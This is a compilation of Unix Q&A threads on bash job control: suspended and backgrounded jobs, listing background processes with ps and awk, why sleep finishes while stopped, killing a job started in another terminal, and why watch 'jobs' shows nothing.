I am seeing some strange behavior on my RHEL6 bash prompt. I often like to execute command lines that look like ... $ ./myscript > junk 2>&1... then hit Ctrl-Z and then execute ... $ bg $ tail -f junk blah blah blah blah blah blah blah blahBut today for some reason I am see that my job stays "stopped" and is not "running". $ uname -a Linux myhost 2.6.18-371.11.1.el5 #1 SMP Mon Jun 30 04:51:39 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux $ cat /etc/redhat-release Red Hat Enterprise Linux Server release 5.5 (Tikanga) $ ./myscript.sh > output-07-JUL-16.txt 2>&1 ^Z [1]+ Stopped ./myscript.sh > output-07-JUL-16.txt 2>&1 $ bg [1]+ ./myscript.sh > output-07-JUL-16.txt 2>&1 & $ jobs [1]+ Stopped ./myscript.sh > output-07-JUL-16.txt 2>&1 $ jobs [1]+ Stopped ./myscript.sh > output-07-JUL-16.txt 2>&1The script I am running is nothing exotic ... #!/bin/shcount=`wc -l hostlist` total=1 for i in `grep -v "^#" hostlist` do echo "Doing $total or $count $i" sudo scp -q access.sh $i:/tmp sudo ssh -q $i /tmp/access.sh sleep 1 total=`expr $total + 1` done
backgrounded job keeps stopping
"background processes" usually refers to terminal job control. That would be processes that are in process groups that are not the foreground process group of their controlling terminal device. On Linux systems with the procps implementation of ps, you can find them with: ps -eo pid,pgid,tpgid,args | awk 'NR == 1 || ($3 != -1 && $2 != $3)'Where we look for processes where tpgid (the terminal foreground process group id) is not -1 (the processes that have a controlling terminal) and where their process group id is not the tpgid. Note that it will also include the shells that are currently busy waiting for a foreground job (including the one where you run that pipeline from if run in foreground in a terminal) as they will have put those jobs in foreground and will be therefore by definition themselves in background.
Is it possible to list all running background processes with the ps command, or is the only option for getting a list of background processes the jobs command?
How do I list all background processes?
The utility calls xnanosleep() which in its turn calls the linux kernel nanosleep() system call. It works regardless of an application running/stopped state but when the application is stopped it cannot exit which means it does that when you unpause it. https://linux.die.net/man/2/nanosleep As for Ctrl + Z it sends a keyboard stop signal which can be intercepted by an application but in this case it's not done as the nanosleep() again works regardless. /usr/include/bits/signum-arch.h#define SIGSTOP 19 /* Stop, unblockable. */ #define SIGTSTP 20 /* Keyboard stop. */
What I do is: sleep 5 and immediately CTRL-Z so when I open jobs I see: [1]+ Stopped sleep 5next when I do fg %1 sleep process is no more running, it's done so that means it was running those 5 ( maybe 4? ) seconds while it was Stopped. Why?
Why sleep command process is still running in the background while I stopped it with CTRL-Z?
The jobs are not killed, they are suspended. They remain exactly as they are at the time of the suspension: same memory mapping, same open file, same threads, … It's just that the process sits there doing nothing until it's resumed. It's like when you pause a movie. A suspended process behaves exactly like a process that the scheduler stubbornly refuses to give CPU time to, except that the process state is recorded as suspended rather than running.
We can issue CTRL+Z to suspend any jobs in Unix and then later on bring them back to life using fg or bg. I want to understand what happens to those jobs that are suspended like this ? Are they killed/terminated ? In other words what is the difference between killing and suspending a process ?
What happens to suspended jobs in unix?
It's unclear (to me) what you'd want this global jobs call to do beyond just listing all processes owned by the current user (ps x), but you could filter that listing by terminal and/or by state. List your processes that are:Connected to any terminal: ps x |awk '$2 ~ /pts/' Stopped by job control (Ctrl+z without bg): ps x |awk '$3 ~ /T/' Running in the foreground: ps x |awk '$3 ~ /\+/'AWK is really powerful. Here we're just calling out fields by number and looking at their values ($) with regular expression matchers (~). You can invert a match with !~. These are conditions and we're simply using AWK's default action (print matches, which could also be written like { print $0 } to print the whole line). You can add the title with 'NR == 1 || … (number of records = 1, aka line 1) in the AWK command. These can be combined, e.g. ps x |awk 'NR == 1 || $3 ~ /T/ || $2 ~ /pts/. Using regular expressions, you can combine the first two bullets as ps x |awk '$3 ~ /[T+]/'. These conditional statements are logical, so you can combine || with && and parentheses, e.g. ps x |awk 'NR == 1 || ($3 ~ /\+/ && $2 ~ /pts/)' I suspect what you want is: ps x |awk 'NR == 1 || $2 ~ /pts/ I ran this on a Linux system. If you're running something else, your terminal emulators may be named differently. Run ps $$ to take a look at how your active shell appears on the list and build a regular expression from the second column.
I know that the jobs command only shows jobs running in current shell session. Is there a bash code that will show jobs across shell sessions (for example, jobs from another terminal tab) for current user?
List all jobs in all shell sessions (not just the current shell), by current user
Yes, all you need to know is the process id (PID) of the process. You can find this with the ps command, or the pidof command. kill $(pidof ping)Should work from any other shell. If it doesn't, you can use ps and grep for ping.
If I begin a process and background it in a terminal window (say ping google.com &), I can kill it using kill %1 (assuming it is job 1). However if I open another terminal window (or tab) the backgrounded process is not listed under jobs and cannot be killed directly using kill. Is it possible to kill this process from another terminal window or tab? Note: I am using the Xfce Terminal Emulator 0.4.3 and bash (although if a solution exists in another common shell but not bash I am open to that as well)
How can I kill a job that was initiated in another shell (terminal window or tab)?
jobs is a built-in that reports on the state of the current shell: the commands that were backgrounded with that shell. watch runs a new shell for each execution, and that shell's jobs has no way of knowing what watch's parent shell's jobs are. ps is an external command and it never used the shell's state.
jobs is my favorite command to see my codes which are running in the background. In order to check for them dynamically, I tend to type watch 'jobs'which does not display anything. However watch 'ps'works perfectly. I have been doing the same mistake for months now. I think understanding why the first does not work while the second works can help me to stop doing the same error. Can anyone help?
Explain why watch 'jobs' does not work but watch 'ps' work?